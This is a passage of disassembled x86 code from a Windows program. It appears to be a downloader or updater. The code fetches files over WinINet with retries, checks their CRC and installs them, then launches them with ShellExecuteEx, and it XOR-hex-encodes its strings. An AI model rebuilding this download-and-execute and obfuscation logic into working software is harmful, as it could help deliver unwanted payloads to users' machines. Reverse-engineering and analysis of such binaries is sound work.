push edx
call dword_413060 ; GetProcAddress
mov [ebp+var_8], eax
push offset aInternetcloseh ; "InternetCloseHandle"
mov eax, [ebp+var_1C]
push eax
call dword_413060 ; GetProcAddress
mov [ebp+var_10], eax
push offset aInternetreadfi ; "InternetReadFile"
mov ecx, [ebp+var_1C]
push ecx
call dword_413060 ; GetProcAddress
mov [ebp+var_18], eax
mov edx, [ebp+var_2034]
mov dword ptr [edx+4], 0
mov [ebp+var_20], 0
mov [ebp+var_2024], 0
mov [ebp+var_C], 0
push 0
push 0
push 0
push 1
push 0
call [ebp+var_202C]
mov [ebp+var_20], eax
cmp [ebp+var_20], 0
jnz short loc_402898
xor eax, eax
jmp loc_4029EA
; ---------------------------------------------------------------------------
loc_402898: ; CODE XREF: sub_4027A4+EBj
push 0
push 9
push 0
push 0
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_20]
push ecx
call [ebp+var_8]
mov [ebp+var_2024], eax
cmp [ebp+var_2024], 0
jnz short loc_4028C1
xor eax, eax
jmp loc_4029EA
; ---------------------------------------------------------------------------
loc_4028C1: ; CODE XREF: sub_4027A4+114j
mov [ebp+var_2028], 2000h
mov [ebp+var_4], 0
mov edx, [ebp+var_2034]
cmp dword ptr [edx+4], 0
jz short loc_4028FB
mov eax, [ebp+var_2034]
mov ecx, [eax+4]
push ecx
call dword_41304C ; GlobalFree
mov edx, [ebp+var_2034]
mov dword ptr [edx+4], 0
loc_4028FB: ; CODE XREF: sub_4027A4+138j
push 0
push 40h
call dword_41305C ; GlobalAlloc
mov ecx, [ebp+var_2034]
mov [ecx+4], eax
loc_40290E: ; CODE XREF: sub_4027A4+1F9j
lea edx, [ebp+var_14]
push edx
push 1FFFh
lea eax, [ebp+var_2020]
push eax
mov ecx, [ebp+var_2024]
push ecx
call [ebp+var_18]
test eax, eax
jz short loc_4029A2
cmp [ebp+var_14], 0
jnz short loc_402934
jmp short loc_4029A2
; ---------------------------------------------------------------------------
loc_402934: ; CODE XREF: sub_4027A4+18Cj
mov edx, [ebp+var_14]
mov [ebp+edx+var_2020], 0
cmp [ebp+var_14], 2000h
jnb short loc_402952
mov [ebp+var_2030], 0
loc_402952: ; CODE XREF: sub_4027A4+1A2j
push 2
mov eax, [ebp+var_4]
add eax, [ebp+var_14]
push eax
mov ecx, [ebp+var_2034]
mov edx, [ecx+4]
push edx
call dword_413058 ; GlobalReAlloc
mov ecx, [ebp+var_2034]
mov [ecx+4], eax
mov edx, [ebp+var_14]
push edx
lea eax, [ebp+var_2020]
push eax
mov ecx, [ebp+var_2034]
mov edx, [ecx+4]
add edx, [ebp+var_4]
push edx
call sub_411634 ; memcpy
add esp, 0Ch
mov eax, [ebp+var_4]
add eax, [ebp+var_14]
mov [ebp+var_4], eax
jmp loc_40290E
; ---------------------------------------------------------------------------
loc_4029A2: ; CODE XREF: sub_4027A4+186j
; sub_4027A4+18Ej
cmp [ebp+var_20], 0
jz short loc_4029AF
mov ecx, [ebp+var_20]
push ecx
call [ebp+var_10]
loc_4029AF: ; CODE XREF: sub_4027A4+202j
cmp [ebp+var_2024], 0
jz short loc_4029C2
mov edx, [ebp+var_2024]
push edx
call [ebp+var_10]
loc_4029C2: ; CODE XREF: sub_4027A4+212j
cmp [ebp+var_C], 0
jz short loc_4029CF
mov eax, [ebp+var_C]
push eax
call [ebp+var_10]
loc_4029CF: ; CODE XREF: sub_4027A4+222j
mov ecx, [ebp+var_1C]
push ecx
call dword_413054 ; FreeLibrary
mov edx, [ebp+arg_4]
mov eax, [ebp+var_2034]
mov ecx, [eax+4]
mov [edx], ecx
mov eax, [ebp+var_4]
loc_4029EA: ; CODE XREF: sub_4027A4+1Bj
; sub_4027A4+5Fj ...
mov esp, ebp
pop ebp
retn 8
sub_4027A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4029F0 proc near ; DATA XREF: HSho:off_4132CCo
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov ecx, [ebp+var_4]
call sub_4026C7
mov eax, [ebp+arg_0]
and eax, 1
test eax, eax
jz short loc_402A15
mov ecx, [ebp+var_4]
push ecx
call sub_4114EE
add esp, 4
loc_402A15: ; CODE XREF: sub_4029F0+17j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_4029F0 endp
; =============== S U B R O U T I N E =======================================
sub_402A1E proc near ; CODE XREF: sub_4095C0+34p
mov eax, offset loc_411B7B
call sub_41163A ; _EH_prolog
sub esp, 27Ch
push ebx
push esi
mov esi, ecx
push edi
mov [ebp-1Ch], esi
call sub_41151E
and dword ptr [ebp-4], 0
lea ecx, [esi+4]
call sub_41151E
lea ebx, [esi+8]
mov byte ptr [ebp-4], 1
mov ecx, ebx
call sub_41151E
lea ecx, [esi+10h]
mov byte ptr [ebp-4], 2
call sub_41151E
lea ecx, [esi+14h]
mov byte ptr [ebp-4], 3
call sub_41151E
lea edi, [esi+1Ch]
mov byte ptr [ebp-4], 4
mov ecx, edi
call sub_41151E
lea ecx, [esi+20h]
mov byte ptr [ebp-4], 5
call sub_41151E
lea ecx, [esi+24h]
mov byte ptr [ebp-4], 6
call sub_41151E
lea ecx, [esi+202Ch]
mov byte ptr [ebp-4], 7
call sub_4026B0
lea eax, [ebp-288h]
push 121h
push eax
mov byte ptr [ebp-4], 8
call dword_4130D4 ; GetWindowsDirectoryA
lea eax, [ebp-164h]
push 104h
push eax
push 0
call dword_4130D8 ; GetModuleFileNameA
lea eax, [ebp-288h]
mov ecx, edi
push eax
call sub_41150C
mov edi, dword_4130E0
push 1Ch
call edi ; Sleep
lea eax, [ebp-164h]
lea ecx, [esi+20h]
push eax
call sub_41150C
lea eax, [ebp-44h]
push 1
push eax
mov ecx, esi
call sub_404B40
lea eax, [ebp-44h]
mov ecx, ebx
push eax
call sub_41150C
push 20h
call edi ; Sleep
push 43h
lea eax, [ebp-18h]
push offset aD ; "%d"
push eax
call dword_41329C ; wsprintfA
add esp, 0Ch
push 21h
call edi ; Sleep
lea eax, [ebp-18h]
mov ecx, esi
push eax
call sub_41150C
lea ecx, [ebp-14h]
call sub_41151E
push ecx
mov byte ptr [ebp-4], 9
mov eax, esp
mov [ebp-10h], esp
push esi
push ebx
push eax
call sub_411524
lea eax, [ebp-10h]
mov ecx, esi
push eax
call sub_402FAF
push eax
lea ecx, [ebp-14h]
mov byte ptr [ebp-4], 0Ah
call sub_411518
lea ecx, [ebp-10h]
mov byte ptr [ebp-4], 9
call sub_411512
push ecx
lea eax, [ebp-14h]
mov ecx, esp
mov [ebp-10h], esp
push eax
call sub_411506
mov ecx, esi
call sub_405543
test al, al
jz short loc_402B90
mov byte ptr [esi+18h], 1
jmp short loc_402B94
; ---------------------------------------------------------------------------
loc_402B90: ; CODE XREF: sub_402A1E+16Aj
push 21h
call edi ; Sleep
loc_402B94: ; CODE XREF: sub_402A1E+170j
lea ecx, [ebp-14h]
mov byte ptr [ebp-4], 8
call sub_411512
mov ecx, [ebp-0Ch]
mov eax, esi
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn
sub_402A1E endp
; =============== S U B R O U T I N E =======================================
sub_402BB1 proc near ; CODE XREF: sub_409540+4Dp
; HSho:00412512p ...
mov eax, offset loc_411BDD
call sub_41163A ; _EH_prolog
push ecx
push esi
mov esi, ecx
mov [ebp-10h], esi
push 0
mov dword ptr [ebp-4], 7
call dword_4132B0
lea ecx, [esi+202Ch]
call sub_4026C7
lea ecx, [esi+24h]
mov byte ptr [ebp-4], 6
call sub_411512
lea ecx, [esi+20h]
mov byte ptr [ebp-4], 5
call sub_411512
lea ecx, [esi+1Ch]
mov byte ptr [ebp-4], 4
call sub_411512
lea ecx, [esi+14h]
mov byte ptr [ebp-4], 3
call sub_411512
lea ecx, [esi+10h]
mov byte ptr [ebp-4], 2
call sub_411512
lea ecx, [esi+8]
mov byte ptr [ebp-4], 1
call sub_411512
and byte ptr [ebp-4], 0
lea ecx, [esi+4]
call sub_411512
or dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, esi
call sub_411512
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
leave
retn
sub_402BB1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402C48 proc near ; CODE XREF: sub_402EC9+30p
var_1844 = byte ptr -1844h
var_1044 = byte ptr -1044h
var_844 = byte ptr -844h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_28 = dword ptr -28h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = byte ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
mov eax, 1844h
call sub_4115D0
push ebx
push esi
push edi
mov edi, dword_4130CC
push [ebp+arg_8]
lea eax, [ebp+var_1044]
mov [ebp+var_4], ecx
push eax
call edi ; lstrcpyA
push [ebp+arg_C]
mov esi, dword_413074
lea eax, [ebp+var_1044]
push eax
call esi ; lstrcatA
lea eax, [ebp+var_1044]
push offset a_bin ; ".bin"
push eax
call esi ; lstrcatA
push [ebp+arg_8]
lea eax, [ebp+var_1844]
push eax
call edi ; lstrcpyA
push [ebp+arg_C]
lea eax, [ebp+var_1844]
push eax
call esi ; lstrcatA
cmp byte ptr [ebp+arg_14], 0
mov [ebp+arg_C], 3
mov [ebp+var_8], 1
jz short loc_402CBD
and [ebp+var_8], 0
loc_402CBD: ; CODE XREF: sub_402C48+6Fj
push ecx
mov ecx, esp
mov [ebp+arg_14], esp
push offset aInstallzip ; "InstallZip()\n"
call sub_4114FA
mov ecx, [ebp+var_4]
call sub_404B34
mov ebx, dword_4130E0
loc_402CDB: ; CODE XREF: sub_402C48+10Bj
lea eax, [ebp+var_1044]
push eax
mov eax, [ebp+var_4]
push [ebp+arg_0]
lea ecx, [eax+202Ch]
call sub_4026DB
test al, al
jz short loc_402D45
lea eax, [ebp+var_1044]
push eax
call sub_4021DB
test eax, eax
pop ecx
jz short loc_402D45
cmp [ebp+arg_1C], 0
jz short loc_402D5E
push [ebp+arg_1C]
push ecx
mov ecx, esp
mov [ebp+arg_14], esp
push [ebp+arg_8]
call sub_4114FA
mov ecx, [ebp+var_4]
call sub_404AAE
cmp al, 1
jz short loc_402D5E
lea eax, [ebp+var_844]
push offset aCrcFailed ; "crc failed:"
push eax
call edi ; lstrcpyA
push [ebp+arg_8]
lea eax, [ebp+var_844]
push eax
call esi ; lstrcatA
loc_402D45: ; CODE XREF: sub_402C48+ADj
; sub_402C48+BEj
dec [ebp+arg_C]
push 0EA7Ch
call ebx ; Sleep
cmp [ebp+arg_C], 0
jnz short loc_402CDB
loc_402D55: ; CODE XREF: sub_402C48+207j
xor al, al
loc_402D57: ; CODE XREF: sub_402C48+27Cj
pop edi
pop esi
pop ebx
leave
retn 24h
; ---------------------------------------------------------------------------
loc_402D5E: ; CODE XREF: sub_402C48+C4j
; sub_402C48+E1j
push [ebp+arg_8]
mov ecx, [ebp+var_4]
lea eax, [ebp+var_1044]
push eax
call sub_404A2D
test al, al
jz loc_402EC2
cmp [ebp+arg_10], 0
jz loc_402EC2
push [ebp+arg_8]
call sub_4021DB
test eax, eax
pop ecx
jz short loc_402DDD
push [ebp+arg_8]
lea eax, [ebp+var_844]
push eax
call edi ; lstrcpyA
lea eax, [ebp+var_844]
push offset a_old ; ".old"
push eax
call esi ; lstrcatA
lea eax, [ebp+var_844]
push 1
push eax
push [ebp+arg_8]
call sub_401D8A
lea eax, [ebp+var_844]
push eax
call sub_4021DB
add esp, 10h
test eax, eax
jz short loc_402DDD
lea eax, [ebp+var_844]
push 1
push eax
call sub_401C92
pop ecx
pop ecx
loc_402DDD: ; CODE XREF: sub_402C48+145j
; sub_402C48+183j
lea eax, [ebp+var_844]
push offset aCrcOkInstall ; "crc ok, Install("
push eax
call edi ; lstrcpyA
push [ebp+arg_8]
lea eax, [ebp+var_844]
push eax
call esi ; lstrcatA
lea eax, [ebp+var_844]
push offset asc_4170B4 ; ")"
push eax
call esi ; lstrcatA
push ecx
lea eax, [ebp+var_844]
mov ecx, esp
mov [ebp+arg_14], esp
push eax
call sub_4114FA
mov ecx, [ebp+var_4]
call sub_404B34
lea eax, [ebp+var_1044]
push eax
call sub_4021DB
test eax, eax
pop ecx
jz short loc_402E40
lea eax, [ebp+var_1044]
push 1
push eax
call sub_401C92
pop ecx
pop ecx
loc_402E40: ; CODE XREF: sub_402C48+1E6j
lea eax, [ebp+var_1844]
push eax
call sub_4021DB
test eax, eax
pop ecx
jz loc_402D55
push 25h
call ebx ; Sleep
push 3Ch
pop esi
push esi
call ebx ; Sleep
push esi
lea eax, [ebp+var_44]
push 0
push eax
call sub_411622 ; memset
lea eax, [ebp+var_1844]
add esp, 0Ch
mov [ebp+var_34], eax
mov eax, [ebp+arg_4]
mov [ebp+var_30], eax
mov eax, [ebp+var_8]
push 5Bh
mov [ebp+var_44], esi
mov [ebp+var_38], offset aOpen ; "OPEN"
mov [ebp+var_28], eax
call ebx ; Sleep
push 0A1h
mov [ebp+var_40], 40h
call ebx ; Sleep
cmp [ebp+arg_C], 0
jle short loc_402EC2
mov ecx, [ebp+var_4]
lea eax, [ebp+var_44]
push eax
call sub_406208
cmp [ebp+arg_18], 0
jz short loc_402EC2
push 0FFFFFFFFh
push [ebp+var_C]
call dword_4130D0 ; WaitForSingleObject
loc_402EC2: ; CODE XREF: sub_402C48+12Aj
; sub_402C48+134j ...
mov al, 1
jmp loc_402D57
sub_402C48 endp
; =============== S U B R O U T I N E =======================================
sub_402EC9 proc near ; CODE XREF: sub_404605+262p
mov eax, offset loc_411BE8
call sub_41163A ; _EH_prolog
push ecx
push ebx
push esi
push edi
and dword ptr [ebp-4], 0
mov [ebp-10h], esp
push dword ptr [ebp+28h]
push dword ptr [ebp+24h]
push dword ptr [ebp+20h]
push dword ptr [ebp+1Ch]
push dword ptr [ebp+18h]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_402C48
test al, al
setnz al
jmp short loc_402F0D
; ---------------------------------------------------------------------------
loc_402F05: ; DATA XREF: HSho:00414F94o
mov eax, offset loc_402F0B
retn
; ---------------------------------------------------------------------------
loc_402F0B: ; DATA XREF: sub_402EC9:loc_402F05o
xor al, al
loc_402F0D: ; CODE XREF: sub_402EC9+3Aj
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 24h
sub_402EC9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402F1E proc near ; CODE XREF: sub_40831F+58Dp
var_868 = byte ptr -868h
var_68 = byte ptr -68h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 868h
push ebx
push esi
push edi
mov esi, dword_4130CC
push 3
lea eax, [ebp+var_868]
pop edi
mov ebx, ecx
push [ebp+arg_0]
push eax
call esi ; lstrcpyA
add ebx, 202Ch
loc_402F47: ; CODE XREF: sub_402F1E+85j
push [ebp+arg_4]
lea eax, [ebp+var_868]
mov ecx, ebx
push eax
call sub_4027A4
test eax, eax
mov [ebp+var_4], eax
jbe short loc_402F61
xor edi, edi
loc_402F61: ; CODE XREF: sub_402F1E+3Fj
test edi, edi
jz short loc_402FA5
dec edi
lea eax, [ebp+var_68]
push edi
push offset aRetryD ; "&retry=%d"
push eax
call dword_4131E4 ; sprintf
add esp, 0Ch
lea eax, [ebp+var_868]
push [ebp+arg_0]
push eax
call esi ; lstrcpyA
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_868]
push eax
call dword_413074 ; lstrcatA
push 493FCh
call dword_4130E0 ; Sleep
test edi, edi
jnz short loc_402F47
loc_402FA5: ; CODE XREF: sub_402F1E+45j
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn 8
sub_402F1E endp
; =============== S U B R O U T I N E =======================================
sub_402FAF proc near ; CODE XREF: sub_402A1E+134p
; sub_404605+F9p ...
mov eax, offset loc_411C1B
call sub_41163A ; _EH_prolog
mov eax, 4010h
call sub_4115D0
and dword ptr [ebp-1Ch], 0
push ebx
push esi
push edi
mov dl, ds:byte_419C40
mov esi, 7FFh
mov ecx, esi
xor eax, eax
lea edi, [ebp-201Bh]
mov [ebp-201Ch], dl
rep stosd
stosw
stosb
mov ecx, esi
xor eax, eax
lea edi, [ebp-401Bh]
mov [ebp-401Ch], dl
rep stosd
stosw
lea ecx, [ebp-10h]
mov dword ptr [ebp-4], 1
stosb
call sub_41151E
push offset dword_417110
lea ecx, [ebp-10h]
mov byte ptr [ebp-4], 2
call sub_41150C
mov eax, [ebp+0Ch]
xor esi, esi
mov ebx, [eax-8]
test ebx, ebx
jle short loc_40306E
mov edi, [ebp-10h]
mov [ebp-14h], eax
lea eax, [ebp-201Ch]
sub [ebp-14h], eax
loc_40303A: ; CODE XREF: sub_402FAF+BDj
test esi, esi
jle short loc_403053
mov ecx, [edi-8]
mov eax, esi
cdq
idiv ecx
test eax, eax
mov eax, esi
jle short loc_403055
cdq
idiv ecx
mov eax, edx
jmp short loc_403055
; ---------------------------------------------------------------------------
loc_403053: ; CODE XREF: sub_402FAF+8Dj
mov eax, esi
loc_403055: ; CODE XREF: sub_402FAF+9Bj
; sub_402FAF+A2j
mov edx, [ebp-14h]
mov al, [eax+edi]
lea ecx, [ebp+esi-201Ch]
mov dl, [edx+ecx]
xor al, dl
inc esi
cmp esi, ebx
mov [ecx], al
jl short loc_40303A
loc_40306E: ; CODE XREF: sub_402FAF+7Aj
xor esi, esi
test ebx, ebx
jle short loc_4030A8
loc_403074: ; CODE XREF: sub_402FAF+F7j
movzx eax, byte ptr [ebp+esi-201Ch]
push eax
lea eax, [ebp-16h]
push offset a02x ; "%02X"
push eax
call dword_4131E4 ; sprintf
lea eax, [ebp-16h]
push eax
lea eax, [ebp-401Ch]
push eax
call sub_411640 ; strcat
mov eax, [ebp+0Ch]
add esp, 14h
inc esi
cmp esi, [eax-8]
jl short loc_403074
loc_4030A8: ; CODE XREF: sub_402FAF+C3j
push offset byte_419C40
lea ecx, [ebp+0Ch]
call sub_41150C
mov ecx, [ebp+8]
lea eax, [ebp-401Ch]
push eax
call sub_4114FA
mov dword ptr [ebp-1Ch], 1
lea ecx, [ebp-10h]
mov byte ptr [ebp-4], 1
call sub_411512
and byte ptr [ebp-4], 0
lea ecx, [ebp+0Ch]
call sub_411512
mov ecx, [ebp-0Ch]
mov eax, [ebp+8]
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn 8
sub_402FAF endp
; =============== S U B R O U T I N E =======================================
sub_4030F7 proc near ; CODE XREF: sub_404B40+359p
; sub_405B91+59p ...
mov eax, offset loc_411C57
call sub_41163A ; _EH_prolog
mov eax, 6018h
call sub_4115D0
mov dl, ds:byte_419C40
push ebx
push esi
mov [ebp-20h], ecx
mov esi, 7FFh
push edi
mov ecx, esi
xor eax, eax
lea edi, [ebp-4023h]
mov [ebp-4024h], dl
rep stosd
stosw
stosb
mov ecx, esi
xor eax, eax
lea edi, [ebp-2023h]
mov [ebp-2024h], dl
rep stosd
stosw
xor ebx, ebx
lea ecx, [ebp-10h]
mov [ebp-1Ch], ebx
stosb
call sub_41151E
lea ecx, [ebp-18h]
mov dword ptr [ebp-4], 1
call sub_41151E
push 5Bh
mov byte ptr [ebp-4], 2
call dword_4130E0 ; Sleep
mov esi, [ebp+10h]
lea eax, [esi+1]
push eax
lea eax, [ebp-6024h]
push dword ptr [ebp+0Ch]
push eax
call dword_4130C8 ; lstrcpynA
push offset dword_417110
lea ecx, [ebp-10h]
call sub_41150C
mov [ebp+10h], esi
xor edi, edi
shr dword ptr [ebp+10h], 1
jz loc_403230
loc_4031A0: ; CODE XREF: sub_4030F7+133j
test ebx, ebx
jle short loc_4031BC
mov eax, [ebp-10h]
mov ecx, [eax-8]
mov eax, edi
cdq
idiv ecx
test eax, eax
jle short loc_4031BC
mov eax, edi
cdq
idiv ecx
mov esi, edx
jmp short loc_4031BE
; ---------------------------------------------------------------------------
loc_4031BC: ; CODE XREF: sub_4030F7+ABj
; sub_4030F7+BAj
mov esi, edi
loc_4031BE: ; CODE XREF: sub_4030F7+C3j
push 2
lea eax, [ebp-6024h]
push ebx
push eax
lea eax, [ebp+0Ch]
lea ecx, [ebp-24h]
push eax
call sub_401ACF
push eax
lea ecx, [ebp-18h]
mov byte ptr [ebp-4], 3
call sub_411518
lea ecx, [ebp+0Ch]
mov byte ptr [ebp-4], 2
call sub_411512
push dword ptr [ebp-18h]
mov ecx, [ebp-20h]
call sub_403287
mov ecx, [ebp-10h]
movsx ecx, byte ptr [esi+ecx]
xor eax, ecx
push eax
lea eax, [ebp-12h]
push offset dword_417120
push eax
call dword_4131E4 ; sprintf
lea eax, [ebp-12h]
push eax
lea eax, [ebp-2024h]
push eax
call sub_411640 ; strcat
add esp, 14h
inc edi
inc ebx
inc ebx
cmp edi, [ebp+10h]
jb loc_4031A0
loc_403230: ; CODE XREF: sub_4030F7+A3j
lea eax, [ebp-2024h]
push eax
lea eax, [ebp-4024h]
push eax
call sub_411628 ; strcpy
pop ecx
lea eax, [ebp-4024h]
pop ecx
mov ecx, [ebp+8]
push eax
call sub_4114FA
mov dword ptr [ebp-1Ch], 1
lea ecx, [ebp-18h]
mov byte ptr [ebp-4], 1
call sub_411512
and byte ptr [ebp-4], 0
lea ecx, [ebp-10h]
call sub_411512
mov ecx, [ebp-0Ch]
mov eax, [ebp+8]
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn 0Ch
sub_4030F7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403287 proc near ; CODE XREF: sub_4030F7+FCp
var_80 = byte ptr -80h
var_7C = dword ptr -7Ch
var_78 = byte ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6C = dword ptr -6Ch
var_68 = byte ptr -68h
var_64 = dword ptr -64h
var_60 = byte ptr -60h
var_5C = dword ptr -5Ch
var_58 = byte ptr -58h
var_54 = dword ptr -54h
var_50 = byte ptr -50h
var_4C = dword ptr -4Ch
var_48 = byte ptr -48h
var_44 = dword ptr -44h
var_40 = byte ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 80h
and [ebp+var_7C], 0
push ebx
push esi
push edi
push [ebp+arg_0]
mov [ebp+var_80], 30h
mov [ebp+var_78], 31h
mov [ebp+var_74], 1
mov [ebp+var_70], 32h
mov [ebp+var_6C], 2
mov [ebp+var_68], 33h
mov [ebp+var_64], 3
mov [ebp+var_60], 34h
mov [ebp+var_5C], 4
mov [ebp+var_58], 35h
mov [ebp+var_54], 5
mov [ebp+var_50], 36h
mov [ebp+var_4C], 6
mov [ebp+var_48], 37h
mov [ebp+var_44], 7
mov [ebp+var_40], 38h
mov [ebp+var_3C], 8
mov [ebp+var_38], 39h
mov [ebp+var_34], 9
mov [ebp+var_30], 41h
mov [ebp+var_2C], 0Ah
mov [ebp+var_28], 42h
mov [ebp+var_24], 0Bh
mov [ebp+var_20], 43h
mov [ebp+var_1C], 0Ch
mov [ebp+var_18], 44h
mov [ebp+var_14], 0Dh
mov [ebp+var_10], 45h
mov [ebp+var_C], 0Eh
mov [ebp+var_8], 46h
mov [ebp+var_4], 0Fh
call dword_4131B0 ; _strdup
push eax
call dword_4131B4 ; _mbsupr
pop ecx
xor esi, esi
cmp byte ptr [eax], 30h
pop ecx
mov edx, eax
jnz short loc_403364
cmp byte ptr [eax+1], 58h
jnz short loc_403364
lea edx, [eax+2]
loc_403364: ; CODE XREF: sub_403287+D2j
; sub_403287+D8j
mov byte ptr [ebp+arg_0+3], 1
loc_403368: ; CODE XREF: sub_403287+10Dj
mov cl, [edx]
test cl, cl
jz short loc_403396
xor edi, edi
lea ebx, [ebp+var_80]
loc_403373: ; CODE XREF: sub_403287+F9j
cmp cl, [ebx]
jz short loc_403382
inc edi
add ebx, 8
cmp edi, 10h
jge short loc_403396
jmp short loc_403373
; ---------------------------------------------------------------------------
loc_403382: ; CODE XREF: sub_403287+EEj
cmp byte ptr [ebp+arg_0+3], 0
jnz short loc_40338B
shl esi, 4
loc_40338B: ; CODE XREF: sub_403287+FFj
or esi, [ebp+edi*8+var_7C]
inc edx
and byte ptr [ebp+arg_0+3], 0
jmp short loc_403368
; ---------------------------------------------------------------------------
loc_403396: ; CODE XREF: sub_403287+E5j
; sub_403287+F7j
push eax
call dword_4131D4 ; free
pop ecx
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn 4
sub_403287 endp
; =============== S U B R O U T I N E =======================================
sub_4033A7 proc near ; CODE XREF: sub_40831F+914p
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push ebp
push esi
mov esi, ecx
push edi
push ecx
mov ecx, esp
mov [esp+18h+var_4], esp
push offset dword_417124
call sub_4114FA
mov ecx, esi
call sub_404B34
mov eax, [esp+14h+arg_4]
xor ebx, ebx
cmp eax, ebx
jle loc_403480
mov ecx, [esp+14h+arg_0]
mov edi, dword_4130CC
mov [esp+14h+arg_4], eax
mov ebp, offset byte_419C40
lea esi, [ecx+4000h]
loc_4033ED: ; CODE XREF: sub_4033A7+D3j
lea eax, [esi-4000h]
push ebp
push eax
call edi ; lstrcpyA
lea eax, [esi-2000h]
push ebp
push eax
call edi ; lstrcpyA
push ebp
push esi
call edi ; lstrcpyA
lea eax, [esi+2000h]
push ebp
push eax
call edi ; lstrcpyA
lea eax, [esi+4000h]
push ebp
push eax
call edi ; lstrcpyA
lea eax, [esi+6000h]
push ebp
push eax
call edi ; lstrcpyA
lea eax, [esi+0E000h]
push ebp
push eax
call edi ; lstrcpyA
lea eax, [esi+0A000h]
push ebp
push eax
call edi ; lstrcpyA
lea eax, [esi+8000h]
push ebp
push eax
call edi ; lstrcpyA
lea eax, [esi+0C000h]
push ebp
push eax
call edi ; lstrcpyA
mov [esi+10001h], bl
mov byte ptr [esi+10002h], 1
mov [esi+10003h], bl
mov [esi+10004h], bl
mov [esi+10000h], bl
mov [esi+10008h], ebx
add esi, 1400Ch
dec [esp+14h+arg_4]
jnz loc_4033ED
loc_403480: ; CODE XREF: sub_4033A7+27j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn 8
sub_4033A7 endp
; =============== S U B R O U T I N E =======================================
sub_403488 proc near ; CODE XREF: sub_40831F+94Cp
mov eax, offset loc_411D9D
call sub_41163A ; _EH_prolog
mov eax, 2134h
call sub_4115D0
push ebx
push esi
push edi
mov [ebp-28h], ecx
xor ebx, ebx
mov [ebp-4], ebx
mov [ebp-24h], ebx
mov [ebp-14h], ebx
push ecx
mov byte ptr [ebp-4], 1
mov ecx, esp
mov [ebp-2Ch], esp
push offset aParsexml ; "ParseXML()\n"
call sub_4114FA
mov ecx, [ebp-28h]
call sub_404B34
cmp [ebp+8], ebx
jnz short loc_4034D8
push 80004003h
call sub_411822
loc_4034D8: ; CODE XREF: sub_403488+44j
mov ecx, [ebp+8]
lea eax, [ebp-1Ch]
push eax
call sub_4043E6
push dword ptr [eax]
lea ecx, [ebp-14h]
call sub_4062A0
lea ecx, [ebp-1Ch]
call sub_406293
mov edi, offset aS ; "%s"
loc_4034FB: ; CODE XREF: sub_403488+CA3j
push ebx
lea ecx, [ebp-14h]
call sub_4062CB
test al, al
jnz loc_404130
push offset aConfigversio_0 ; "configversion"
lea ecx, [ebp-0C0h]
call sub_404151
mov esi, eax
cmp [ebp-14h], ebx
mov byte ptr [ebp-4], 2
jnz short loc_403531
push 80004003h
call sub_411822
loc_403531: ; CODE XREF: sub_403488+9Dj
mov ecx, [ebp-14h]
lea eax, [ebp-84h]
push eax
call sub_40430D
push esi
mov ecx, eax
call sub_4041B8
mov ebx, eax
lea ecx, [ebp-84h]
neg ebx
sbb bl, bl
inc bl
call sub_4041A5
lea ecx, [ebp-0C0h]
mov byte ptr [ebp-4], 1
call sub_4041A5
test bl, bl
jz loc_403632
cmp dword ptr [ebp-14h], 0
jnz short loc_403582
push 80004003h
call sub_411822
loc_403582: ; CODE XREF: sub_403488+EEj
mov ecx, [ebp-14h]
lea eax, [ebp-0D0h]
push eax
call sub_40444A
mov ecx, [eax]
mov byte ptr [ebp-4], 3
test ecx, ecx
jz short loc_4035A2
call sub_404243
jmp short loc_4035A4
; ---------------------------------------------------------------------------
loc_4035A2: ; CODE XREF: sub_403488+111j
xor eax, eax
loc_4035A4: ; CODE XREF: sub_403488+118j
push eax
lea eax, [ebp-2140h]
push edi
push eax
call dword_4131E4 ; sprintf
add esp, 0Ch
lea ecx, [ebp-0D0h]
mov byte ptr [ebp-4], 1
call sub_4041A5
push 80000000h
push 1
push ecx
mov ecx, esp
mov [ebp-0C8h], esp
push offset byte_419C40
call sub_4114FA
push ecx
mov byte ptr [ebp-4], 4
mov ecx, esp
mov [ebp-20h], esp
push offset aWrConfigversio ; "WR\\configversion"
call sub_4114FA
lea ecx, [ebp-100h]
mov byte ptr [ebp-4], 1
call sub_40671B
